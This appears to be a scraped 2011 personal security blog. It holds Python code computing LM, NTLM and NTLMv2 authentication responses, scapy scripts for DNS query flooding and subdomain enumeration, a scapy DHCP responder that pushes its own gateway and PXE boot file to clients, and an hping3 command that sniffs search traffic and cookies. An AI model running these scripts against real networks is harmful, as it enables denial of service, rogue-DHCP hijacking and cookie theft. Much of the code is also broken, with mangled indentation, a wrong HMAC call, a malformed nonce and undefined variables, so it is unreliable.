    #    return ''.join( hex ).strip()        

    return ''.join( [ "%02X " % ord( x ) for x in byteStr ] ).strip()


def create_lm_hash(password, challenge):  
  password = password.upper()  
  
  password = password + "\x00" * (14 - len(password))  
  
  passwd_ord = []  
  
  for iter1 in range(14):  
    passwd_ord.append(ord(password[iter1]))  
   
 printHexList(password, "PASSDORD")  
  
  key_1 = getKeyFromMaterial(passwd_ord[0:7])  
  key_2 = getKeyFromMaterial(passwd_ord[7:14])  

 printHexList(i2h(key_1), "Initial_Key_1")
 printHexList(i2h(key_2), "Initial_Key_2")

 d_1 = encryptMagic(b"KGS!@#$%", key_1)  

 printHexList(s2h(d_1), "Encrypted_Magic_using_key_1")
  
 d_2 = encryptMagic(b"KGS!@#$%", key_2)  

 printHexList(s2h(d_2), "Encrypted_Magic_using_key_2")

  lm_hash = d_1[0:8] + d_2[0:8]  

 printHexList(s2h(lm_hash), "LM_HASH")  
  
  lm_hash = lm_hash + "\x00" * (21 - len(lm_hash))  

 printHexList(s2h(lm_hash), "Null padded LM_HASH")
  
  lm_hash_int = []  
  
  for iter1 in range(21):  
    lm_hash_int.append(ord(lm_hash[iter1]))  
  
  lm_hash_1 = lm_hash_int[0:7]  
  lm_hash_2 = lm_hash_int[7:14]  
 lm_hash_3 = lm_hash_int[14:21]  
  
 printHexList(i2h(lm_hash_1), "LM_HASH_1")
 printHexList(i2h(lm_hash_2), "LM_HASH_2")
 printHexList(i2h(lm_hash_3), "LM_HASH_3")
  
  s2_key_1 = getKeyFromMaterial(lm_hash_1)  
  s2_key_2 = getKeyFromMaterial(lm_hash_2)  
 s2_key_3 = getKeyFromMaterial(lm_hash_3)  
  

 printHexList(i2h(s2_key_1), "S2_KEY_1")
 printHexList(i2h(s2_key_2), "S2_KEY_2")
 printHexList(i2h(s2_key_3), "S2_KEY_3")

 printHexList(s2h(challenge), "Server_Challenge")

   s2_d_1 = encryptChallenge(challenge, s2_key_1)
 printHexList(s2h(s2_d_1), "Encrypted_server_challenge_using_key_1")

   s2_d_2 = encryptChallenge(challenge, s2_key_2)  
 printHexList(s2h(s2_d_2), "Encrypted_server_challenge_using_key_2")

   s2_d_3 = encryptChallenge(challenge, s2_key_3)
 printHexList(s2h(s2_d_3), "Encrypted_server_challenge_using_key_3")


 lm_response = s2_d_1 + s2_d_2 + s2_d_3

 printHexList(s2h(lm_response), "LM Response")

 return lm_response

def create_ntlm_response(password, challenge):
 password = password.encode('utf16')[2:]
 printHexList(s2h(password), "Unicode16_Encoded_Password")

 import md4

 md4_context = md4.new()
 md4_context.update(password)

 md4_password = md4_context.digest()

 printHexList(s2h(md4_password), "MD4_Encoded_Password")

 md4_password_padded = md4_password + (21 - len(md4_password)) * "\x00"

 printHexList(s2h(md4_password_padded), "MD4_Encoded_Password_Padded")

 md4_1 = md4_password_padded[0:7]
 md4_2 = md4_password_padded[7:14]
 md4_3 = md4_password_padded[14:21]

 printHexList(s2h(md4_1), "MD4_1")
 printHexList(s2h(md4_2), "MD4_2")
 printHexList(s2h(md4_3), "MD4_3")

 md4_ord = []
  
  for iter1 in range(21):  
    md4_ord.append(ord(md4_password_padded[iter1]))  

 md4_1_ord = md4_ord[0:7]
 md4_2_ord = md4_ord[7:14]
 md4_3_ord = md4_ord[14:21]

 des_key_1 = getKeyFromMaterial(md4_1_ord)
 des_key_2 = getKeyFromMaterial(md4_2_ord)
 des_key_3 = getKeyFromMaterial(md4_3_ord) 

 printHexList(i2h(des_key_1), "DES_1")
 printHexList(i2h(des_key_2), "DES_2")
 printHexList(i2h(des_key_3), "DES_3")

 s1_d_1 = encryptChallenge(challenge, des_key_1)
 s1_d_2 = encryptChallenge(challenge, des_key_2)    
 s1_d_3 = encryptChallenge(challenge, des_key_3)    

 printHexList(s2h(s1_d_1), "NTLM_1")
 printHexList(s2h(s1_d_2), "NTLM_2")
 printHexList(s2h(s1_d_3), "NTLM_3")

 ntlm_response = s1_d_1 + s1_d_2 + s1_d_3

 printHexList(s2h(ntlm_response), "NTLM_Response")

 return ntlm_response

def create_ntlm_v2_response(user, domain, password, challenge, target_list):
 password = password.encode('utf16')[2:]
 printHexList(s2h(password), "Unicode16_Encoded_Password")

 import md4

 md4_context = md4.new()
 md4_context.update(password)

 md4_password = md4_context.digest()

 printHexList(s2h(md4_password), "MD4_Encoded_Password")

 md4_password_padded = md4_password + (21 - len(md4_password)) * "\x00"

 printHexList(s2h(md4_password_padded), "MD4_Encoded_Password_Padded")

 user = user.upper()
 user = user.encode('utf16')[2:]

 domain = domain.encode('utf16')[2:]

 userDomain = user + domain

 import hmac

 k = hmac.new(md4_password)

 k.update(userDomain)

 e = k.digest()

 printHexList(s2h(e), "NTLM_v2_Hash")

 printHexList(s2h(target_list), "Target_List")

 blob_signature = "01010000"

 printHexList(s2h(HexToByte(blob_signature)), "Blob_signature")

 reserved_value = "00000000"

 printHexList(s2h(HexToByte(reserved_value)), "Reserved_Value")

 timestamp = "0090d336b734c301"

 printHexList(s2h(HexToByte(timestamp)), "Timestamp")

 random_client_nonce = "ffffff0011223344"
 printHexList(s2h(HexToByte(random_client_nonce)), "Random_Client_Nonce")

 unknown = "00000000"

 printHexList(s2h(unknown), "Unknown_Value")

 blob = HexToByte(blob_signature + reserved_value + timestamp + random_client_nonce + unknown)

 blob = blob + target_list + HexToByte(unknown)

 blob = challenge + blob

 printHexList(s2h(blob), "Blob")

 printHexList(s2h(challenge), "Challenge")

 k1 = hmac.new(e)

 k1.update(blob)

 e1 = k1.digest()

 printHexList(s2h(e1), "NTLM_v2_Response")

 return e1

def create_lm_v2_response(password, user, domain, challenge):
 password = password.encode('utf16')[2:]
 printHexList(s2h(password), "Unicode16_Encoded_Password")

 import md4

 md4_context = md4.new()
 md4_context.update(password)

 md4_password = md4_context.digest()

 printHexList(s2h(md4_password), "MD4_Encoded_Password")

 user = user.upper()
 user = user.encode('utf16')[2:]

 domain = domain.encode('utf16')[2:]

 userDomain = user + domain

 import hmac

 k = hmac.new(md4_password)

 k.update(userDomain)

 e = k.digest()

 printHexList(s2h(e), "NTLM_v2_Hash")

 random_client_nonce = HexToByte("fffffff0011223344")

 printHexList(s2h(random_client_nonce), "Random_Client_Nonce")

 chAndNonce = challenge + random_client_nonce

 import hmac

 k1 = hmac.new(e)

 k1.update(chAndNonce)

 e1 = k.digest()
 
 lm_v2_response = e1 + random_client_nonce

 printHexList(s2h(e1), "LM_v2_Response")

 return lm_v2_response

challenge = HexToByte("0123456789abcdef")
lm_response = create_lm_hash('secret01', gssapi_server_challenge)

password = 'secret01'
ntlm_response = create_ntlm_response(password, gssapi_server_challenge)

password = 'secret01'
domain = 'DOMAIN'
user = 'user'

#target_list = "02000c0044004f004d00410049004e0001000c005300450052005600450052000400140064006f006d00610069006e002e0063006f006d00030022007300650072007600650072002e0064006f006d00610069006e002e0063006f006d0000000000"

#ntlm_v2_respnose = create_ntlm_v2_response(user, domain, password, "0123456789abcdef", target_list)

ntlm_v2_respnose = create_ntlm_v2_response(user, domain, password, gssapi_server_challenge, gssapi_al_part)
lm_v2_response = create_lm_v2_response(password, user, domain, challenge)

Here is the response (Note: all values have been checked once with the article above):

# python ntlm1.py 10.112.73.251 135
PASSDORD : SECRET01
Initial_Key_1 : ['0x52', '0xa2', '0x51', '0x6b', '0x25', '0x2a', '0x51', '0x61']
Initial_Key_2 : ['0x31', '0x80', '0x1', '0x1', '0x1', '0x1', '0x1', '0x1']
Encrypted_Magic_using_key_1 : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24', '0x12']
Encrypted_Magic_using_key_2 : ['0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e', '0xd', '0xac']
LM_HASH : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24', '0x12', '0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e', '0xd', '0xac']
Null padded LM_HASH : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24', '0x12', '0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e', '0xd', '0xac', '0x0', '0x0', '0x0', '0x0', '0x0']
LM_HASH_1 : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24']
LM_HASH_2 : ['0x12', '0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e']
LM_HASH_3 : ['0xd', '0xac', '0x0', '0x0', '0x0', '0x0', '0x0']
S2_KEY_1 : ['0xfe', '0x9b', '0xd5', '0x16', '0xcd', '0x15', '0xc8', '0x49']
S2_KEY_2 : ['0x13', '0x61', '0x89', '0xcb', '0xb3', '0x1a', '0xcd', '0x9d']
S2_KEY_3 : ['0xd', '0xd6', '0x1', '0x1', '0x1', '0x1', '0x1', '0x1']
Server_Challenge : ['0xd4', '0x19', '0xa0', '0x12', '0xa0', '0x24', '0xdb', '0xcf']
Encrypted_server_challenge_using_key_1 : ['0x60', '0x66', '0xb9', '0xb4', '0xcd', '0x23', '0x90', '0xe3', '0xe2', '0xb0', '0x6e', '0x10', '0xb', '0x5e', '0xdd', '0xb4']
Encrypted_server_challenge_using_key_2 : ['0x2e', '0xe2', '0x9c', '0x64', '0x17', '0x5d', '0xc1', '0x3d', '0x6e', '0x93', '0xb', '0x8c', '0xed', '0xea', '0xbe', '0x11']
Encrypted_server_challenge_using_key_3 : ['0xe0', '0x39', '0x93', '0x75', '0xcf', '0xb0', '0x25', '0x66', '0xf', '0x5a', '0x21', '0x29', '0x77', '0x49', '0xa1', '0xc']
LM Response : ['0x60', '0x66', '0xb9', '0xb4', '0xcd', '0x23', '0x90', '0xe3', '0xe2', '0xb0', '0x6e', '0x10', '0xb', '0x5e', '0xdd', '0xb4', '0x2e', '0xe2', '0x9c', '0x64', '0x17', '0x5d', '0xc1', '0x3d', '0x6e', '0x93', '0xb', '0x8c', '0xed', '0xea', '0xbe', '0x11', '0xe0', '0x39', '0x93', '0x75', '0xcf', '0xb0', '0x25', '0x66', '0xf', '0x5a', '0x21', '0x29', '0x77', '0x49', '0xa1', '0xc']
Unicode16_Encoded_Password : ['0x73', '0x0', '0x65', '0x0', '0x63', '0x0', '0x72', '0x0', '0x65', '0x0', '0x74', '0x0', '0x30', '0x0', '0x31', '0x0']
MD4_Encoded_Password : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b']
MD4_Encoded_Password_Padded : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b', '0x0', '0x0', '0x0', '0x0', '0x0']
MD4_1 : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b']
MD4_2 : ['0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d']
MD4_3 : ['0x38', '0x1b', '0x0', '0x0', '0x0', '0x0', '0x0']
DES_1 : ['0xfd', '0x85', '0x25', '0xc8', '0x76', '0xea', '0x3b', '0x16']
DES_2 : ['0xf8', '0x8', '0xd0', '0xb9', '0xd5', '0x6b', '0x19', '0x9b']
DES_3 : ['0x38', '0xd', '0xc1', '0x1', '0x1', '0x1', '0x1', '0x1']
NTLM_1 : ['0x5', '0x58', '0xd', '0x18', '0x4e', '0x95', '0xc1', '0x81', '0xbb', '0x2a', '0xbd', '0xc5', '0xfe', '0xf3', '0xf5', '0x57']
NTLM_2 : ['0x9c', '0x71', '0xae', '0xa8', '0xce', '0x18', '0xd5', '0x40', '0xd', '0xea', '0xd4', '0x68', '0xae', '0x38', '0x66', '0xd9']
NTLM_3 : ['0x2b', '0xdd', '0x22', '0x6b', '0x4e', '0x27', '0x4b', '0x95', '0x3f', '0x85', '0xf0', '0xcb', '0x53', '0xa3', '0x61', '0xe1']
NTLM_Response : ['0x5', '0x58', '0xd', '0x18', '0x4e', '0x95', '0xc1', '0x81', '0xbb', '0x2a', '0xbd', '0xc5', '0xfe', '0xf3', '0xf5', '0x57', '0x9c', '0x71', '0xae', '0xa8', '0xce', '0x18', '0xd5', '0x40', '0xd', '0xea', '0xd4', '0x68', '0xae', '0x38', '0x66', '0xd9', '0x2b', '0xdd', '0x22', '0x6b', '0x4e', '0x27', '0x4b', '0x95', '0x3f', '0x85', '0xf0', '0xcb', '0x53', '0xa3', '0x61', '0xe1']
Unicode16_Encoded_Password : ['0x73', '0x0', '0x65', '0x0', '0x63', '0x0', '0x72', '0x0', '0x65', '0x0', '0x74', '0x0', '0x30', '0x0', '0x31', '0x0']
MD4_Encoded_Password : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b']
MD4_Encoded_Password_Padded : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b', '0x0', '0x0', '0x0', '0x0', '0x0']
NTLM_v2_Hash : ['0xdf', '0x6f', '0xfd', '0x7', '0x95', '0xb9', '0x7a', '0xe2', '0x9f', '0x16', '0xa', '0xd5', '0xd0', '0x3e', '0xe1', '0xd8']
Target_List : ['0x2', '0x0', '0xc', '0x0', '0x52', '0x0', '0x4f', '0x0', '0x56', '0x0', '0x45', '0x0', '0x45', '0x0', '0x32', '0x0', '0x1', '0x0', '0x1e', '0x0', '0x56', '0x0', '0x4d', '0x0', '0x57', '0x0', '0x41', '0x0', '0x52', '0x0', '0x45', '0x0', '0x2d', '0x0', '0x53', '0x0', '0x55', '0x0', '0x38', '0x0', '0x59', '0x0', '0x42', '0x0', '0x4b', '0x0', '0x4b', '0x0', '0x34', '0x0', '0x4', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x3', '0x0', '0x34', '0x0', '0x76', '0x0', '0x6d', '0x0', '0x77', '0x0', '0x61', '0x0', '0x72', '0x0', '0x65', '0x0', '0x2d', '0x0', '0x73', '0x0', '0x75', '0x0', '0x38', '0x0', '0x79', '0x0', '0x62', '0x0', '0x6b', '0x0', '0x6b', '0x0', '0x34', '0x0', '0x2e', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x5', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x0', '0x0', '0x0', '0x0']
Blob_signature : ['0x1', '0x1', '0x0', '0x0']
Reserved_Value : ['0x0', '0x0', '0x0', '0x0']
Timestamp : ['0x0', '0x90', '0xd3', '0x36', '0xb7', '0x34', '0xc3', '0x1']
Random_Client_Nonce : ['0xff', '0xff', '0xff', '0x0', '0x11', '0x22', '0x33', '0x44']
Unknown_Value : ['0x30', '0x30', '0x30', '0x30', '0x30', '0x30', '0x30', '0x30']
Blob : ['0xd4', '0x19', '0xa0', '0x12', '0xa0', '0x24', '0xdb', '0xcf', '0x1', '0x1', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x90', '0xd3', '0x36', '0xb7', '0x34', '0xc3', '0x1', '0xff', '0xff', '0xff', '0x0', '0x11', '0x22', '0x33', '0x44', '0x0', '0x0', '0x0', '0x0', '0x2', '0x0', '0xc', '0x0', '0x52', '0x0', '0x4f', '0x0', '0x56', '0x0', '0x45', '0x0', '0x45', '0x0', '0x32', '0x0', '0x1', '0x0', '0x1e', '0x0', '0x56', '0x0', '0x4d', '0x0', '0x57', '0x0', '0x41', '0x0', '0x52', '0x0', '0x45', '0x0', '0x2d', '0x0', '0x53', '0x0', '0x55', '0x0', '0x38', '0x0', '0x59', '0x0', '0x42', '0x0', '0x4b', '0x0', '0x4b', '0x0', '0x34', '0x0', '0x4', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x3', '0x0', '0x34', '0x0', '0x76', '0x0', '0x6d', '0x0', '0x77', '0x0', '0x61', '0x0', '0x72', '0x0', '0x65', '0x0', '0x2d', '0x0', '0x73', '0x0', '0x75', '0x0', '0x38', '0x0', '0x79', '0x0', '0x62', '0x0', '0x6b', '0x0', '0x6b', '0x0', '0x34', '0x0', '0x2e', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x5', '0x0', '0x14', '0x0', '0x72', '0x0', '0x6f', '0x0', '0x76', '0x0', '0x65', '0x0', '0x65', '0x0', '0x32', '0x0', '0x2e', '0x0', '0x63', '0x0', '0x6f', '0x0', '0x6d', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0', '0x0']
Challenge : ['0xd4', '0x19', '0xa0', '0x12', '0xa0', '0x24', '0xdb', '0xcf']
NTLM_v2_Response : ['0x36', '0xa5', '0xda', '0x3a', '0x9a', '0x1a', '0xaa', '0x1e', '0x2d', '0x8f', '0x21', '0x1f', '0x59', '0x94', '0x70', '0x92']
Unicode16_Encoded_Password : ['0x73', '0x0', '0x65', '0x0', '0x63', '0x0', '0x72', '0x0', '0x65', '0x0', '0x74', '0x0', '0x30', '0x0', '0x31', '0x0']
MD4_Encoded_Password : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b']
NTLM_v2_Hash : ['0xdf', '0x6f', '0xfd', '0x7', '0x95', '0xb9', '0x7a', '0xe2', '0x9f', '0x16', '0xa', '0xd5', '0xd0', '0x3e', '0xe1', '0xd8']
Random_Client_Nonce : ['0xff', '0xff', '0xff', '0xf0', '0x1', '0x12', '0x23', '0x34', '0x4']
LM_v2_Response : ['0xdf', '0x6f', '0xfd', '0x7', '0x95', '0xb9', '0x7a', '0xe2', '0x9f', '0x16', '0xa', '0xd5', '0xd0', '0x3e', '0xe1', '0xd8']

A set of very good hacking tools

2011-07-20T22:53:00.000-07:00

Set of very good hacking tools here

Tools of concern are mitm-ssh, mitm-ssl, netcap, SAdoor and wnet

Fuzz testing DNS server using scapy

2011-07-18T04:51:00.000-07:00

Here is one available right out of the box

Some Scapy Samples for Testing / Flooding DNS Server with random Querys
Full Random Querys

for i in range(0, 1000):
 s = RandString(RandNum(1,50))
 s1 =s.lower()
 d = RandString(RandNum(1,20))
 d1 = d.lower()
 t = RandString(RandNum(2,3))
 t1 = t.lower()
 q = s1+"."+d1+"."+t1
 print i ,q
 send(IP(dst="192.168.0.1")/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))
else:
 print 'The for loop is over'

One Domain

top_level = ".ch"
domain = "target"
cnt = 1000
dns_server = "10.0.0.1"

for i in range(0, cnt):
 s = RandString(RandNum(1,8))
 s1 =s.lower()
 q = s1+"."+domain+top_level
 print i ,q
 sr1(IP(dst=dns_server)/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))

Some Toplevel Domains

top =[ ".com", ".net" , ".com", ".edu" , ".ch", ".de", ".li", ".jp", ".ru", ".tv",".nl",".fr" ]
anz_top=len(top)

for i in range(0, 100):
 s = RandString(RandNum(1,50))
 s1 =s.lower()
 d = RandString(RandNum(1,20))
 d1 = d.lower()
 t = top_level=top[random.randint(0,anz_top-1)]
 t1 = t.lower()
 q = s1+"."+d1+t1
 print i ,q
 send(IP(dst="192.168.0.1")/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))
else:
 print 'The for loop is over'

DNS Enumeration Sample

#!/usr/bin/python
from scapy.all import *
domain = "target.ch"
dns_server = "10.0.0.1"
server =[ "www", "www1" , "www2", "ns", "ns1" , "ns2" ,"dns" , "dns1", "dns2", "dns3", "pop", "mail", "smtp" , 
 "pop3",  "test", "dev" , "ads", "adserver", "adsl", "agent", "channel", "dmz", "sz" , "client", "imap" ,
 "http" , "https", "ftp", "ftpserver", "tftp", "ntp" , "ids" , "ips" , "snort" , "imail" , "pops" , 
        "imaps" , "irc" , "linux" , "windows", "log" , "install", "blog" , "host", "printer", "public" , "sql",
        "mysql", "router" , "cisco" , "switch", "telnet", "voip", "webmin" , "ssh", "delevlop" , "pub" , "root" ,
        "user", "xml", "ww" , "telnet", "extern", "intranet" , "extranet", "testing" , "default", "gateway" ,
        "radius" , "noc" , "mobile", "customer" , "chat" , "siprouter" , "sip" , "nms" , "noc", "office" , 
        "voice" , "support" , "spare" , "owa" , "exchange" ]
serverans=[]
cnt=len(server)

for i in range(0, cnt):
 q = server[i]+"."+domain
 ans=sr1(IP(dst=dns_server)/UDP(sport=RandShort())/DNS(rd=1,qd=DNSQR(qname=q)))
 ans
 if ans[DNS].ancount == 0:
    print q, "unkown"
    serverans.insert(i,"unkown")
 else:
    print q, ans[DNSRR].rdata
    serverans.insert(i,ans[DNSRR].rdata)

for i in range(0, cnt):
  print server[i]+"."+domain, serverans[i]

DHCP Server in scapy

2011-07-12T06:48:00.000-07:00

This works only in windows version of scapy:

NOTE: Requires a TFTP server running on the server_ip IP Address (this can also be a script)

from scapy.all import *
from struct import *
from socket import *
import sys, os, time

#input info
server_ip="192.168.100.240"
client_ip="192.168.100.185"
server_mac="00:50:56:b1:07:3d"

subnet_mask="255.255.255.0"
gateway="192.168.100.240"

#DHCP leases
def detect_dhcp(pkt):
 try:
  dhcpPkt = pkt[DHCP]
 except:
  return "Packet does not have DHCP part"
 #If DHCP Discover then DHCP Offer
 if pkt[DHCP] and pkt[DHCP].options[0][1] == 1:
                clientMAC = pkt[Ether].src

#                print "MAC:", clientMAC
#                print "\nDHCP Discover packet detected"

                print "."
                cmList = clientMAC.split(":")

                hCMList = []

                for iter1 in cmList:
                        hCMList.append(int(iter1, 16))

                hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) 
#                print "HMAC:", hMAC
  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
  op=2,
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=hMAC,
  xid=pkt[BOOTP].xid,
                sname=server_ip,
                file="/tftpboot/gpxelinux.0",
  )/
                DHCP(options=[('message-type','offer')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )

 if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
                clientMAC = pkt[Ether].src

#                print "MAC:", clientMAC
#                print "DHCP Discover packet detected"

                cmList = clientMAC.split(":")

                hCMList = []

                for iter1 in cmList:
                        hCMList.append(int(iter1, 16))

                hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) 

  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
    
  op=2,
    
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=hMAC,
                sname=server_ip,
                file="/tftpboot/gpxelinux.0",
  xid=pkt[BOOTP].xid
  )/
                DHCP(options=[('message-type','ack')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )
#  print "DHCP Ack packet sent\n\nCtrl+C to exit\n"

sniff(filter="arp or (udp and (port 67 or 68))", prn=detect_dhcp, store=0)

The linux version is below, it expects a little more precise MAC address formatting, and the following script does just that:

from scapy.all import *
from struct import *
from socket import *
import sys, os, time
 
def toMAC(strMac):
 cmList = strMac.split(":")
 
 hCMList = []
 
        for iter1 in cmList:
         hCMList.append(int(iter1, 16))
 
        hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5]) 
 
 return hMAC
 
def toIP(strIP):
 ciList = strIP.split(".")
 
 hciList = []
 
 for iter1 in ciList:
  hciList.append(int(iter1, 10))
 
        hIP = struct.pack('!B', hciList[0]) + struct.pack('!B', hciList[1]) + struct.pack('!B', hciList[2]) + struct.pack('!B', hciList[3])
 
 return hIP
 
 
#input info
server_ip = "192.168.100.230"
client_ip = "192.168.100.185"
server_mac = toMAC("00:0c:29:f4:ce:9e")
 
subnet_mask = "255.255.255.0"
gateway = "192.168.100.230"
 
 
#DHCP leases
def detect_dhcp(pkt):
 print "\nPacket received\n"
 try:
  dhcpPkt = pkt[DHCP]
 except:
  return "Packet does not have DHCP part"
 #If DHCP Discover then DHCP Offer
 if pkt[DHCP] and pkt[DHCP].options[0][1] == 1:
                clientMAC = pkt[Ether].src
 
                print "MAC:", clientMAC
                print "\nDHCP Discover packet detected"
 
  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
  op=2,
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=toMAC(clientMAC),
  xid=pkt[BOOTP].xid,
                sname=server_ip,
                file="/tftproot/pxelinux.0",
  )/
                DHCP(options=[('message-type','offer')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )
 
 if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
                clientMAC = pkt[Ether].src
 
                print "MAC:", clientMAC
                print "\nDHCP Discover packet detected"
 
                print "DHCP Request packet detected"
 
  sendp(
  Ether(src=server_mac,dst="ff:ff:ff:ff:ff:ff")/
  IP(src=server_ip,dst="255.255.255.255")/
  UDP(sport=67,dport=68)/
  BOOTP(
 
  op=2,
 
  yiaddr=client_ip,
  siaddr=server_ip,
  giaddr=gateway,
  chaddr=toMAC(clientMAC),
  xid=pkt[BOOTP].xid
  )/
                DHCP(options=[('message-type','ack')])/
                DHCP(options=[('subnet_mask',subnet_mask)])/
                DHCP(options=[('server_id',server_ip),('end')])
  )
  print "DHCP Ack packet sent\n\nCtrl+C to exit\n"
 
sniff(filter="arp or (udp and (port 67 or 68))", prn=detect_dhcp, store=0)

SSO in windows using python

2011-06-22T10:35:00.000-07:00

GSSAPI example:

import sys

def _PassthroughLoginGSSAPI(host):
      userSession = None
      try:
         import kerberos
      except ImportError, err:
         print "Unable to import kerberos libarary"
         return userSession
 
      context = None
      try:
         result, context = kerberos.authGSSClientInit("host@%s" % host)
         #result, context = kerberos.authGSSClientInit("host@%s" % host, 0)
         challenge = ""
         while True:
            print "Inside loop"
            # Call GSS step
            result = kerberos.authGSSClientStep(context, challenge)
            if result < 0:
               print "authGSSClientStep failed"
 
 
            secToken = kerberos.authGSSClientResponse(context)
            try:
               userSession = sessionMgr.LoginBySSPI(secToken)
               # No exception => logged in
               userName = kerberos.authGSSClientUserName(context)
               print "Passthru authentication succeeded"
 
               del secToken
               break
            except vim.fault.SSPIChallenge, err:
               # Continue gssapi challenges
               challenge = err.base64Token
 
         del challenge
      except Exception, err:
         print "Exception:", err
 
      if context:
         try:
            kerberos.authGSSClientClean(context)
         except Exception, err:
            print "Exception in authGSSClientClean", err
 
      return userSession
 
result = _PassthroughLoginGSSAPI(sys.argv[1])
EOF
#python /tmp/python-api.py cstor.e2e.com
Inside loop
Passthru authentication succeeded
#

Windows example:

import base64
class WindoewNtlmMessageGenerator:
   def __init__(self,user=None):
       import win32api,sspi
       if not user:
           user = win32api.GetUserName()
       self.sspi_client = sspi.ClientAuth("NTLM",user)   

   def create_auth_req(self):
       import pywintypes
       output_buffer = None
       error_msg = None
       try:
           error_msg, output_buffer = self.sspi_client.authorize(None)             
       except pywintypes.error:           
            return None
       auth_req = output_buffer[0].Buffer
       auth_req = base64.b64encode(auth_req)
       return auth_req 


ntlm_gen = WindoewNtlmMessageGenerator()
auth_req_msg = ntlm_gen.create_auth_req()
print auth_req_msg

Sniffing specific HTTP packets using hping3

2011-06-18T00:38:00.001-07:00

The following command would sniff all google search content going over HTTP (including the cookies):

hping3 -9 "http://www.google.com/search?" --beep -I eth0

Livequery without livequery plugin in JQuery filetree

2011-04-26T05:28:00.000-07:00

Livequery is a JQuery plugin which can be used to query parts of a web page which are dynamically updated using javascript or ajax

Its quite simple API

If you want to identify an "a" element in an html, all that you do is:

$('a') 
    .livequery('click', function(event) { 
        alert('clicked'); 
        return false; 
    });

If you don't want to include livequery code, you have to give a function handler in the back-end script (mod-python/perl/whatever is run at the backend), to send something like this

And in the function hand (fileClicked in the example in the link above), handle the event

MOD_Python connectors for JQuery Filetree Plugin

2011-04-26T05:21:00.000-07:00

Here is the mod_python connector script for JQuery FileTree plugin:

Click here to download

Sniffing HP ILO traffic using socat redirectors

2011-04-13T00:25:00.000-07:00

Here are the steps:

